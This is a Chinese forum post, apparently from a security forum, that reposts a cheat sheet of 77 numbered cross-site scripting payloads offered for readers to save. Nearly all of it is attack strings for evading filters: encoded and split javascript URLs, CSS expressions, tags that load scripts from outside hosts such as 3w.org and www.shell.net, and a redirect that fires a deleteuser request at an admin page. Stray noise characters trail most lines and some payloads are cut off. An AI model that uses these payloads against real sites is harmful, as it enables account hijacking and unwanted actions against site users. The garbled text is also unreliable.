貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的。$ d7 n6 o3 L* M' f& x6 G4 ]
9 W$ Z7 T* U; I. L: k1 H' B
(1)普通的XSS JavaScript注入
3 O7 K3 P% B y$ N O/ B <SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>! Z9 l% x+ j+ C/ c
3 K) v) g7 J6 ?) B- @9 S (2)IMG标签XSS使用JavaScript命令! k2 U7 ~/ E% ]( Z4 J4 ^
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
- R; @- s0 [5 O$ }* y0 h6 _) F% C4 S' N% r* N
(3)IMG标签无分号无引号 U$ t+ T, i: B Z
<IMG SRC=javascript:alert(‘XSS’)>
* G+ N1 l. D% i
$ n8 s' r+ o- M3 |8 T (4)IMG标签大小写不敏感: ]+ A6 `% W* P( j4 n' C5 o' L
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>" j9 A, F* z( g. o; @: E; A( `! k& o
, O- l) B6 x5 ?4 R7 f (5)HTML编码(必须有分号)
4 M8 z# m/ d+ t0 K$ U* \ <IMG SRC=javascript:alert(“XSS”)>* a4 g/ Y. j" l+ H9 w3 e# M
/ j; S* ^ m \ `& l' Y+ k$ G
(6)修正缺陷IMG标签
0 L, c7 ]% ~" Z1 }5 }* g, X) G <IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>8 k) p9 {8 q. `. o
& @. B# y1 N$ [/ J
(7)formCharCode标签(计算器)9 a- G/ N6 k/ j6 W+ W; K
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
8 [' N/ a# J9 w2 K0 n
* x' U4 l+ F$ \. @& [+ w (8)UTF-8的Unicode编码(计算器)6 C* R$ C! D1 X, m7 O
<IMG SRC=jav..省略..S')>
) W% M: r( ]+ E$ [. Y+ v3 A! K2 r T. |: \* `
(9)7位的UTF-8的Unicode编码是没有分号的(计算器)
$ {2 \' ^" M, d2 c% n6 P/ E <IMG SRC=jav..省略..S')>" q5 `; L6 s2 {1 X
6 z1 ]) d7 S+ _1 y
(10)十六进制编码也是没有分号(计算器)1 s E l# J: J; v% t0 O
<IMG SRC=java..省略..XSS')>
8 J ?( | L7 X4 r
- k$ O* K5 h; k6 N6 k (11)嵌入式标签,将Javascript分开
% @- r2 ^0 }1 H4 r2 J9 \! n <IMG SRC=”jav ascript:alert(‘XSS’);”>( g; t; d- m+ W
# \/ |* A2 G8 A3 f( X
(12)嵌入式编码标签,将Javascript分开
% C) ^$ s5 Y( D" e <IMG SRC=”jav ascript:alert(‘XSS’);”>
) \7 r# U3 h) n& N
/ k$ u4 ^' V! X2 X" T0 O (13)嵌入式换行符
4 @) j. W0 J) |9 N/ D <IMG SRC=”jav ascript:alert(‘XSS’);”>1 k7 X4 [7 Z! L y" ?
% H W6 J6 G6 ]' r5 @# } (14)嵌入式回车
d5 `5 h; L4 V$ F% k: ` <IMG SRC=”jav ascript:alert(‘XSS’);”>; ]) F' u5 W" H& U
" W ~. y9 ?3 B0 \( u. ~' F" [ (15)嵌入式多行注入JavaScript,这是XSS极端的例子& `! c! H) a0 N* n4 v9 Z2 U( g. E
<IMG SRC=”javascript:alert(‘XSS‘)”>
: F, _7 G* g a3 D( o% F3 x' y, \% Z7 \ {% y
(16)解决限制字符(要求同页面)
: w6 x; J/ G( s7 s, j <script>z=’document.’</script>
$ H8 i# V& \; b <script>z=z+’write(“‘</script>
) c* X1 e% K1 _$ b* T <script>z=z+’<script’</script>( ^; H( r/ u1 Y; c7 P' d
<script>z=z+’ src=ht’</script>
/ @ j' L. G ^2 z: @/ t8 R. _ <script>z=z+’tp://ww’</script>
( W% k5 v0 ]7 q3 f6 _ <script>z=z+’w.shell’</script>
8 d% M* L1 }1 _* H+ f4 y, y, T <script>z=z+’.net/1.’</script>
: j& H7 Y$ F. c6 M <script>z=z+’js></sc’</script>2 G+ T, I8 E0 F( A2 N6 q5 H
<script>z=z+’ript>”)’</script>* J+ A1 K J, x& X8 d8 |" B
<script>eval_r(z)</script>2 S# U% ^" `2 Y- | a( u! l
4 D, y: h$ g3 i
(17)空字符& ?2 A6 m$ {9 ^' l0 M' T
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
5 U5 y% u* `) U- d' T+ j1 l) D7 G( i) s* s! S A) }+ L, x
(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用
* o o' T6 X c8 W7 A) D$ I) o perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out$ [, ~2 W' N; c' a& v/ I+ G
0 O. k- O4 t% E" n (19)Spaces和meta前的IMG标签
& n7 h/ ^; r$ d6 A( s <IMG SRC=” javascript:alert(‘XSS’);”>
/ |1 H+ u* d A( {" |
, g( N- g( B8 U# g+ g4 f# ~# G (20)Non-alpha-non-digit XSS
+ l7 f2 d- {( S# z: M <SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
! O. N( m$ F2 X5 L0 i4 `5 z* H% ^: i4 J8 O2 @) E
(21)Non-alpha-non-digit XSS to 29 u% O# [1 L1 d& P
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
$ F3 @1 F6 I1 I6 X& Y D5 K& i4 ^; ?9 p/ ^* F/ M
(22)Non-alpha-non-digit XSS to 3" E6 ], h3 d+ {( i1 l
<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>
1 M; o1 X9 i& D; p/ A7 `) w) y4 p0 E& A @% X7 q' k3 s1 h
(23)双开括号, t% Z. ~' a" L9 r. d
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
( ?5 c+ s: W+ N1 U D$ y: k. F$ [! ]7 h) e. E c
(24)无结束脚本标记(仅火狐等浏览器)9 C2 U N$ D# Z, W$ T, m
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>
9 P1 z0 X3 n$ G) \
) {' y' k0 m4 u (25)无结束脚本标记2/ [* U/ S7 m# ~/ y% n+ z. a
<SCRIPT SRC=//3w.org/XSS/xss.js>
0 D" W ]) K, m0 l; k2 A" P
* d7 m* T4 E# F& ^4 N4 p (26)半开的HTML/JavaScript XSS& |. `, \) H6 J1 D. J& V
<IMG SRC=”javascript:alert(‘XSS’)”
7 b/ t8 g; {( u6 e) q2 `5 \' g4 _3 V5 J! r' ]2 Z. s, U
(27)双开角括号
1 d8 b% U4 J( g) A* d <iframe src=http://3w.org/XSS.html <; e( T& V! o- ^1 ?; V4 s) E8 m
8 z5 H+ B; t; X3 ^5 L. Y( }
(28)无单引号 双引号 分号+ c7 R$ }( R: d/ H+ i- L
<SCRIPT>a=/XSS/
% o' T4 }# ?- N" ~ alert(a.source)</SCRIPT>& Z! S4 l+ _2 M& M: T: r# b# ~
, z9 {4 c# V+ T1 m; k
(29)换码过滤的JavaScript; ^3 u( z9 |& {% o- {! r, `& j8 g; ]
\”;alert(‘XSS’);//
: M6 ^+ m6 Y3 z3 i: x# o
7 V7 N' p7 }8 Y. u+ U (30)结束Title标签
% ?% N" S: B' ^1 \: ] </TITLE><SCRIPT>alert(“XSS”);</SCRIPT>% K* H: ^2 e2 l4 Y, D- }4 d1 T
' S2 Q$ k- S5 g" D/ a& G/ {
(31)Input Image
9 B6 l& M0 B' b6 u <INPUT SRC=”javascript:alert(‘XSS’);”>- A5 l$ ?& j4 `3 ~
/ x0 o7 @5 s- l, n3 P+ N, o# U
(32)BODY Image
* q, M5 d4 ^! w8 H; C; V <BODY BACKGROUND=”javascript:alert(‘XSS’)”># X% D6 o. @3 ~+ C& g+ D, G
1 o2 t- t9 }7 Q+ @; P- F
(33)BODY标签
1 z$ [- u7 A$ A% E <BODY(‘XSS’)>9 K" Q" h: [ k* ]) \) z7 L
* m! P- i9 F9 g; f. n5 X1 [& R7 @
(34)IMG Dynsrc! R+ S: Z! D0 T5 S# G0 E! u
<IMG DYNSRC=”javascript:alert(‘XSS’)”>
/ T6 u3 V3 z8 L3 t2 P7 q/ w6 K
) q5 f: B, J/ ^ (35)IMG Lowsrc
u7 a) g: U. K <IMG LOWSRC=”javascript:alert(‘XSS’)”>! f0 ^7 F0 H1 u) j
$ n- M, F: G3 l u+ Q (36)BGSOUND
' A! U2 Y Z/ I' `. `4 \) L) z <BGSOUND SRC=”javascript:alert(‘XSS’);”>' F: C$ V+ J2 |! ^
$ K9 W+ X+ ^4 M# m (37)STYLE sheet+ y W: U ]; G% H
<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
, U2 p3 X" J8 Z/ U8 i: H9 @% [+ A6 q
(38)远程样式表" x: ?% L9 T8 p* u
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>+ w) I+ q8 i- b7 D
8 ]0 l2 n7 f8 z- s8 b
(39)List-style-image(列表式)
! U0 @7 `' n$ M <STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
2 { x( ?# X; V1 P. i. Y9 }5 q- J
$ D$ x/ n& A# `0 e! w. ?9 ?( U4 r (40)IMG VBscript$ O, M9 z. z$ F {* H% f5 D' G
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS. _% H6 i( d5 K6 x! Q z
% H5 E! d. y# z0 M (41)META链接url7 R6 f" ~8 Q! e ~0 s
<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
5 d* s F: f4 @) R0 y3 f2 N e/ k8 I: x: z3 e( c
(42)Iframe
2 s- d' }" l# V5 W4 @ <IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
1 Q! K: x) H4 C+ f/ G; o7 v. S# f& i7 R
(43)Frame8 m1 s/ t3 _# k( P
<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>8 B; u6 A) V7 t2 Y1 j8 D y$ B. y: i/ }
$ s8 ]7 O$ `" s2 J: o2 q- L (44)Table
; v1 O& m4 g' Q8 {! N! K3 y <TABLE BACKGROUND=”javascript:alert(‘XSS’)”>% ]! W' A n j+ l4 o6 w" z
8 l8 P8 \" ]3 o' H" q: ?' B (45)TD
9 c& h9 X, t4 {8 v. N7 x <TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>
$ B2 l1 t1 s3 F1 d9 k
( {! f% [* i0 L# g* a0 X (46)DIV background-image
/ v$ I' g# ?% Z ^0 E <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
$ Q1 |- w" L }; \# e" a( q( f
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)6 m. R" c# X; v1 y, [! I8 o
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
% w7 T1 d2 z- ^; T" E
; d- a, w4 v) c# f0 E k- l (48)DIV expression
" b* }) B" G; e5 y) g <DIV STYLE=”width: expression_r(alert(‘XSS’));”>
+ N5 |% q8 B$ ]
" F9 @# W0 ?* @" D% { (49)STYLE属性分拆表达
. v7 l5 R- a* o' e/ }3 w+ T6 r! ` <IMG STYLE=”xss:expression_r(alert(‘XSS’))”>+ Z. }; I6 F" H: i8 M: l
9 b$ u' n# T( t" h' S+ G2 e8 U# G
(50)匿名STYLE(组成:开角号和一个字母开头)! U8 P H; a r% Y4 }
<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>; s% R" K) L! n: U. e1 @3 b
7 S% v/ l" p' w% e9 e (51)STYLE background-image% V' q/ y5 H6 f3 N% r
<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
. [' n8 h7 `: ?4 f$ ]& }
5 W+ c i [/ x8 U6 ] (52)IMG STYLE方式
' [$ R9 t" @3 t. b6 Q' M( B0 n exppression(alert(“XSS”))’>
: P# ?6 @1 y8 P
/ N' H8 o! J @7 M (53)STYLE background
/ g2 ~6 u! ]& l* s <STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>, Z" R7 g; u& V1 t- F6 y1 f8 W8 K0 F
' G1 S: G* S9 S& J+ \& ]! T (54)BASE$ f7 D$ @! s, g1 Y6 \2 {
<BASE HREF=”javascript:alert(‘XSS’);//”>% I8 G) `+ z) G4 I3 ^, r2 ?
2 D+ k2 E; G; a4 w- r; L (55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
0 w* x+ d& u# H( x <EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED># c! ^! \ w1 e) u$ g y! C
0 @0 k! E! m2 s- S5 D0 H9 X
(56)在flash中使用ActionScrpt可以混进你XSS的代码
2 |- i( L) m; i5 u, F a=”get”;+ V( N. e8 h9 k. i8 {, r
b=”URL(\”";
* K; }# A' b/ l$ i5 Z3 d( Q c=”javascript:”;- `; o6 O5 A5 v$ b. X4 C) @8 O# H
d=”alert(‘XSS’);\”)”;8 y; u& s) l, N( I. Q c& O9 B
eval_r(a+b+c+d);2 a+ X8 p/ v7 p5 S5 v5 T
9 P1 ~. z5 ^( D (57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上3 Z4 S7 _5 M& v: j$ P5 R: K
<HTML xmlns:xss> k- l' @. M0 E: E5 B" f
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
9 C8 c$ p5 M6 ^$ W7 { <xss:xss>XSS</xss:xss>* j" M; q' A8 `7 P2 J
</HTML>4 K' w v% \ G4 E% }% l
5 E3 ?/ @) M0 c2 s3 @4 o
(58)如果过滤了你的JS你可以在图片里添加JS代码来利用
. T( x2 J+ J3 \1 L) p, [6 @" Z: S% h2 g <SCRIPT SRC=””></SCRIPT>
! Y/ F# ^: i7 }: E/ S! ~ u D* E- K5 Q
(59)IMG嵌入式命令,可执行任意命令
$ ?% _0 y x& o9 R" n <IMG SRC=”http://www.XXX.com/a.php?a=b”>
4 h! |' ]/ G+ A$ Z0 g: a# H2 V% G Q) H, x, V
(60)IMG嵌入式命令(a.jpg在同服务器)
8 @3 i' b$ G- G% q0 `% C4 \& K Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser; k, J0 D* i# I! I
1 L4 k2 [5 d# O6 _5 M+ x/ G6 @
(61)绕符号过滤) Z& l9 v# m; K: }
<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>; ~3 Q$ @% e& p5 j/ v
* F0 C1 d7 a$ r* e/ Z1 W- A (62)9 V# i9 ]4 e( t4 ?) G
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>5 A2 W$ n0 w: q Z( h J: w
% l1 a- R3 G+ k1 J B* N/ ~8 {/ a) p (63)- }% r+ X! X. C1 v
<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
, J/ h+ R3 Z: g- N$ B; ?8 _1 {# @* W& m* p$ |$ D5 l3 n
(64)
: r0 o: G2 i& e5 U9 Q0 a <SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>5 K/ U7 I8 t5 k: S
6 p1 I, d9 Q$ z8 M" L
(65)
" g$ O! l5 H' A: N1 q <SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>
' H* i: J' C/ f" d
! y" R @9 R/ o! Y9 c+ V5 b* T0 W$ i (66)) B t( V o4 ]& i0 |7 k' \
<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
" h) W* Q: s) `, M$ n6 o! l5 T" r7 M0 l, b
(67)! i9 v+ e1 v. N
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>" g' M4 b4 Q+ @5 L) @" E) t' O9 V% R
7 ]' J" L. a1 w# F) o
(68)URL绕行
' Y [. f9 J' I <A HREF=”http://127.0.0.1/”>XSS</A>
1 m& @% M, ` S
/ W/ [4 o# i! A% S8 s (69)URL编码
9 Q! q* R& k$ M2 S; U \ <A HREF=”http://3w.org”>XSS</A>
4 U! M& R+ p0 ?6 D4 p* [! a4 z1 Q; {2 y
(70)IP十进制
8 d4 Z5 u7 {% L# J8 P <A HREF=”http://3232235521″>XSS</A>8 |# d$ T$ T5 q, O- ]$ `5 A
1 z. D( y! d6 B, M (71)IP十六进制; o, I8 c/ @! y. ~" s
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>! y- ^+ M# |# ~: c( J5 }
- T, U8 o# a% A* w2 w (72)IP八进制0 I/ @0 O" D4 M1 e" ~
<A HREF=”http://0300.0250.0000.0001″>XSS</A>7 W# B* J: p, l$ l+ ~
$ K" V$ \- Z3 z4 L ? (73)混合编码+ ]# v: g1 p& e. [, y! Y
<A HREF=”h; T) b" i2 Z3 q$ J/ N
tt p://6 6.000146.0×7.147/”">XSS</A>
, Q- T6 y) r4 M% U' `" V
. e$ ~& ]3 x& w (74)节省[http:]4 h8 N" E: A, z+ ^( D
<A HREF=”//www.google.com/”>XSS</A>! N2 |( ?2 {1 h4 l5 k* {1 Q
0 J5 h; J- c* G8 U7 h& M- P, M
(75)节省[www]' t" P3 p6 c) B2 y+ ~' u$ t$ j2 e
<A HREF=”http://google.com/”>XSS</A>
4 x: I7 u) x7 K* n. J% C% D) q
8 h' V ], U( D (76)绝对点绝对DNS5 f! n3 e8 |- b6 C
<A HREF=”http://www.google.com./”>XSS</A>/ [& t6 v: j; X; i9 @5 C
4 g. z/ G* R' Q3 J1 I: B- U (77)javascript链接! e; `3 d7 m8 c5 x1 u* b% x
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A> |